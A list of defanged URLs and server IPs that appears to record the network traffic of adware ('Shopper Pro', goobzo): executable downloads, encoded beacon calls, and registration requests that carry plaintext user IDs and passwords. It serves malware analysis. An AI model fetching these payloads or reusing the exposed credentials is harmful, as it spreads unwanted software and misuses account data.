hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RT3FsALGJiApIj GXdVcREtCUHeR8YCF3picd9c3AkGezCcoAUR1qA6wWHAZ0LKJ2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecuKhBlRQZmwjsjMhJxzXo7yMFjWsG0z9OSmF904v4t2Douov16P80TWXDFpeB4I3rwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe 198.232.124.192
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6EUeCMSNo5dvN0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEviQrftX5USa7clTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfaigjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvYQ3fvue/Bfs= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7R3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3Mlt I6v8YQuU2F4Ptf8DU8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfaigjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvYQ3fvue/Bfs= 198.232.124.192
hxxp://8.34.112.140/mg?alpha=LTNPZBZtDntEJG99YE4ZLHccaRYtdU0VFVxbP1ACLWUOBxUMPVIWeygHThBGBSRXNB4sQChuXTREaEkJPjt1aWRVZFMrHX08QzZrVi9y
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpW8kgAhJB43pB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lb4gf3RC1SzQJCcL BMUNi TRcHKuVeTpeVdCR9NLnB0e3edDIJy/8qNY4DQB5 LV08jURTiCof4sFG5pEsdtec6vPnRrDWQyqd0/YwT2IDOS6Rp1PpHmBKKKt6mG3Lv3kKZ0BPWWpV0U7 mgpW4HrYR85pYN9LIROU1ujTzFpZOicxOK UxxgN7Hc5Z VCMXwfOVO40qst2CTVaWNpfsBgvDcyiS/JqdRYxDUE3/4u34EGnDyPkfaNEd5niUXT1yikFELT1v5WKf/IF1C38O76bd/CqOW1x2feJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9wb8ozpXpF9tH9MCuNdlcgo17BgrA40V69GtXaYYEOjdV3TGBpQHSW2tCyrfGbczKmrvcVl0Mf/w== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipBe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH3VXFTmgBM5VCn qX4FpTdffopz0y2Q7Y 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpW8kgAhJB43pB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lb4gf3RC1SzQJCcL BMUNi dskpjA9 6EEBiJWCtklQEQKd0GEgkafn7qIsw5K9Cdia/NXxeys6V4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX6igjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvwj6GsUSCmJ3H/jy8G4FGJY4SiD403Los 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipDU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX6igjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvwj6GsUSCmJ3H/jy8G4FGJY4SiD403Los 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpQDjreoyS/T2wRKgupiq7FpZCDhZ dCw2EyIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhse72nxa8 m7iViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9gDcoAJAtAYWupXyB/g5yjGYsEX4kIHltCn qX4FpTdffopz0y2Q7Y 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUZi6LwwK4U80vYHWe71VaIq/YV5 X6RdAFnDIVPriw0VvWzbeOk/KHlI6y12Qfr0J2AqR2XPWVGhniAZCxO/ Mj2NRySioDRRm56dV2mSeSpEjboCsMsaXRnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDkD DGUmvav HJeZ7WltgDeJ/Ipnh8gnxx/48vBuBRiWOEog NNy6LA== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipD lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty797PE6DOH6SVT07xKwR3W9AY9/CpuCTIAF0= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XOxRKBm2zlx2gtIu55M0ygRKgupiq7FpZCDhZ dCw2EicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L8FbMnlffEMk8LX28cfQyyK4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUbnBUf4hjmaodvdvSfmjF3OHEUgBcRHp1Uj/h0sIE7gy9XyPkA5lWxWLfeo/B59z4BlKlGJcuDg 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipD lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj gFKvbxhXJ8 DxJ w6ryxW8= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hpY1rXLYst7AE3Cc4HiKo3FOCrrBm5PrQjnLZjYXBkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWugSsXy3IeahxEujjFNyH958Pk9jtfSr7GKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDFCY9606Z0PbLSyk7ROMFjmgdhMywCxX30tiOZna9twfdVcVOaAEzleLmf6eHphUt9 inPTLZDtg= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9ULjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSnw T2O19KvsYrNjjnOLU6dbIHx4MCRqKTI2j9NvqTQ5Y7SjSVyBTbGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOQP4MZSa9q/4cl5ntaW2AN4n8imeHyCfG1Rhv12pffYo4SiD403Los 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQH2vdzuDiNvxoFc4EnZ34NRELQCQfIF0J/7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJmM72Wj5zQdwqMeABwUgxqHwfbJucngCT0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B91VxU5oATOV4uZ/p4emFS336Kc9MtkO2A== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A8MIvlEETmaQVExL/6LI8HDl0EAyEHOZTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fbKhVCE2fDseNE8 91W7tTF7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8mUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fHZYz7EOWE48fJKZ4NCKSCQ== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqlmEIUPwTJ2qmrvcVl0Mf/w== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW Lmf6eHphUt9 inPTLZDtg= 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=s5Ydxb c7o0bk7XUyXGZ5oFc4EnZ34NR0 mctsfeJ2JAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbJWdkttqwmBfb8zyMlAjNJ94BVzIM sbWFAL52sIXt4UeH8s8AG8ECxxc81u2rgCm44UuTa3qd5D7MusukiOxFQnNF1Q0U/LqE9zKYNYKDpAEB1KJjJJfUAE70KA8ZXhbA8YCZx49749T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMykh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fOhuMknV/ek4= 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=o4wkB1bL2nKBXOBJ2d DURC0AkHyBdCf 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SZjO9lo c0HcKjHgAcFIMah8H2ybnJ4Ak9LGoxHbVyuYaP0IDq/YEE9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0L mBhwd0/yZSHWriQys9eBFNv0x54AMdWxJlEYwI4I106EYFdMaz18dljPsQ5YTjx8kpng0IpIJ 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBm8kgAhJB43p1d9yUrIHy MD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLjyw2RjHvlHkVfaCu72ZveVURlu/eh1Ht2udLt18ooKVURHB pb86UuTTp44ZdvVTImsBxAWxYxw4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX7O/8Xidal/LUuqoJxQoH7VqLfb1ihP hKmALAQnku9RgGUqUYly4OA= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnIFc4EnZ34NRNAM afm7zV37RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJmM72Wj5zQdwqMeABwUgxqHwfbJucngCRZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty797PE6DOH6SVT40lLbuCnwRE9/CpuCTIAF0= 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31984.ashx?e=M7A8vgjJHrgLjT49fHfOTGc d7PLjgjl/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lw2tFXUOU/Qs Lt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31984.ashx?e=M7A8vgjJHrgLjT49fHfOTGc d7PLjgjl/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lw2tFXUOU/Qs Lt6BhzfOsD0FbaakihgO1P17LdzRwGrcSywkF18Bl8YJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBeLyj8PdRsUbl13ytKzY3bawADzuWvml5Co96KQrvxHzFtz73aJdyQ8sj2VHenQSi 0LhpxXD4t4eCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS JCt 1flRJrt9ecNw3qM44/lSIKq0UdoUdMm3hqMstJ/y06twORtLg9fHR9A6p3upOM0S4XWXQNckrM9d9qKvEIr3HFOHwspCpHCT5GIrHKeu8rYnA8EzX4JIE87/jfWsid6KRE16wYsqtKrDF7mr6U IgqjBtPrQZNslBbwbrzm8HqzDlA5LEOcQDW2ub8rgHR1BOlQeSG TPkAVkd2bb1HMP2IfnNA/cEXCuD7ISRf2T mvjIH/Ay5ismV6Zmv0elWnPCijCkMjOCgw2BVJmqqAREsAc88Fmq6Wr4EL4IXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/28070.ashx?e=hNMAVKhukrxAU1hGZSx JO6IQh7Ozogo7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDdzcx c lY2ey4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/28070.ashx?e=hNMAVKhukrxAU1hGZSx JO6IQh7Ozogo7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDdzcx c lY2ey4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhdjnbMS4Pfob2H0XoEMGadmxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVBe8AJTtXzkXi13pG3ZzHywWwrv9hreqncfgJCYrAwfiKC1EXBQZZixt7Vk3emdvrMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoYnVI7Lam2S1vLHUwkQGOXz2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeJbMdc92UZetdOWqG7q5ZOaCCywDEsteg9p hZ4DIQH5Tc9wnR9He/l4YWTWHzy3yyliyqjeW6 aP6icIIcon3ge36Sj48TdRlTFqCp5nVlY9NZg9yxBZRVgSZlQGuVMMQcXpDOddnC1pblw/gnAec0/M2w4q7aA8w3I9TwM4TB3ktSrv7ljo83blC6RlaT VZn0CSeruiA3sgYUtJHqg8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAahuis9qfwvJXFOCrrBm5PrawBfIapBJ0XZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWugSsXy3IeahxEujjFNyH9yTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj tZDXSYpq/nUDxJ w6ryxW8= 54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList= 23.21.193.24
hxxp://rep.shopper-pro.com/app/ping.ashx?e=6OELh0H WyqQVExL/6LI8JcyX3zp0quIsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dtx7Wk/nQyPU05nCH21lzOcrK3InHBgtbMSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjHjWBFHg8CMUV6yvWJrJyWQ== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QHucCbLl /arv6GrtwjWz4Fc4EnZ34NRtXaHSdfuEJr7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJmM72Wj5zQdwqMeABwUgxqHwfbJucngCU1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFG5wVH IY5mqHb3b0n5oxdzhxFIAXER6dVI/4dLCBO4MvV8j5AOZVsZFEYmJBlESaAZSpRiXLg4A== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QHucCbLl /ZRN3UqGh1U HFOCrrBm5PrawBfIapBJ0XZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0mqiRYw3wYJD9kq6IHSvLFkvq zYkkBMnThVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSMhhyCCQnPA7UQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY= 54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1 23.21.193.24
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1 23.21.193.24
hxxp://8.34.112.140/fp?alpha=RBpIYCEaFCktO0ZLZ0ouRV4bbSFERl4RYGMbCX99Qw5FYGdGa0sRSTQuXGB3BXlLQS9ZaCVlFUVuGEg2XEpAYVIjEAN5VmM3V3M3YU4zbT4HG0ssf1MCHxQkOnRIIjRBTgl0JRRgQR9NQ11Ue3MeCUU0XkVkJmZ+WRwZPiETDGptMVdfWz5yCENYdXBsCjYOM1cGXjYsQk4VDCQzZEx3IBNCBHUgAWdIBklPSAZkYEsLXWcJVDgkdDEFEXlkaBQRbShHTk1ZJHlKGgEyLW1ZLnJHchAccylfHR0dIDJySiArEwhIe0NIOBxJCAVIIDMmTVIZYB8qICVrYFwbGwYhBAptNFpbGAJ8I2FDWHgFMB1PEyVzA08sDFscGQEgMnJDUD8xTGYCUBNpeUU7DyIL
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList= 23.21.193.24
hxxp://8.34.112.140/ii?alpha=RxYQX2ttPAB2D1BiP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoCWyQQRAVgFEoHXyA7EngzbxsLHws3UxJTdz5nClBCehgSBAkyTShFP1EQAn4bZX0NFAoJR353XylbDkAFeEBCeghIdmgNEGBzKRAFfX9fJmRkYlNIWmgWUFkzbTVlQEQzVxgPDztQZ21wVgcLTwZsXxByU0kTPzkeOVwAIUEiFBYvHER2SgMffWhaFhxreVU/bjcVAAYIKVANQiVrMGhRSDUHHh8cflI7Q3IVT0QNRzoNX1ZWRhk3cyh3DEwYQCVSWwkBRG1BBlMOUhtCD30iADh3ZAEcSAx3XFpTci08cRIBdkFFWhQ/H2oQIwBFXglfMBkBHwoWTWd6S2kEREx1LB4AOUlJdkkMThloJXgrKG9JO2JkcXl5cEZHRwEuDUw/Q18iXVcqNClDKEU5YxwWSBxrRxB2GnQ0AwdNXQJTGhMJFwU1DEg/VAlOe0MUVVc/LVxrMGFsDkRdYGs=
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HLmgGg4BdURK4WtRdLJPS8kb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EMJ0BsT2odybpFQ9C74W1fSG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0H4aw6mg0j 6g 8IXJ3hY2bZzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjbySACEkHjen4nfgxruy9iJmM72Wj5zQdl8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vunew/6f/ygSt pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6uZP /RqMPfI= 54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1 23.21.193.24
hxxp://8.34.112.140/if?alpha=RxYQX2slVB1XPQhvP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoKTiR3ChYxSjNYA3pATzptCkJTUl1vR04DLm8nPh8fd0BCUklqDGgWNwRMUQxbOw1UQFxlBT9zBHwTUB1cPxdVOApLW1YNJWAXShhaIDIUZjF3BAwTDDZHRBB8F24rH3gUVxgPDSdSPx1OXBsAUx55BxATDgoVOTpLdhhWFEFwPxo/HUJqSwQHfXETWA5hfFV2NnllSElYYhJQHHw1YCQCY2dRARkLLUs1TjkPVVISWCQcBhULBwQ1PBtwCEVRQywRGHxVDSgKUlUyVRZXBGk2YzhmNVxJTh4vNE0cZz5laHFZJgUSD1B4TCwdLRMbVkxUcw1RUwceR3x/XStNTRAOfUJJaV8XLBJYQWwcSgdQOT8AJm49CHxHUnQEBRF8Nm91ZmMYPzZaHTFPOR1ddioqfU9uXw1zd1AWIitBOT1tBlI/F1MKBl9tUQMffXVaZSldQgYSaCpeGmJbcQhAEBssNGJjZwo=
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1 23.21.193.24
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjIYcggkJzwO295MROQWA/L8FbMnlffEMkBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B91VxU5oATOVFHdk/gnZ pY= 54.197.238.106
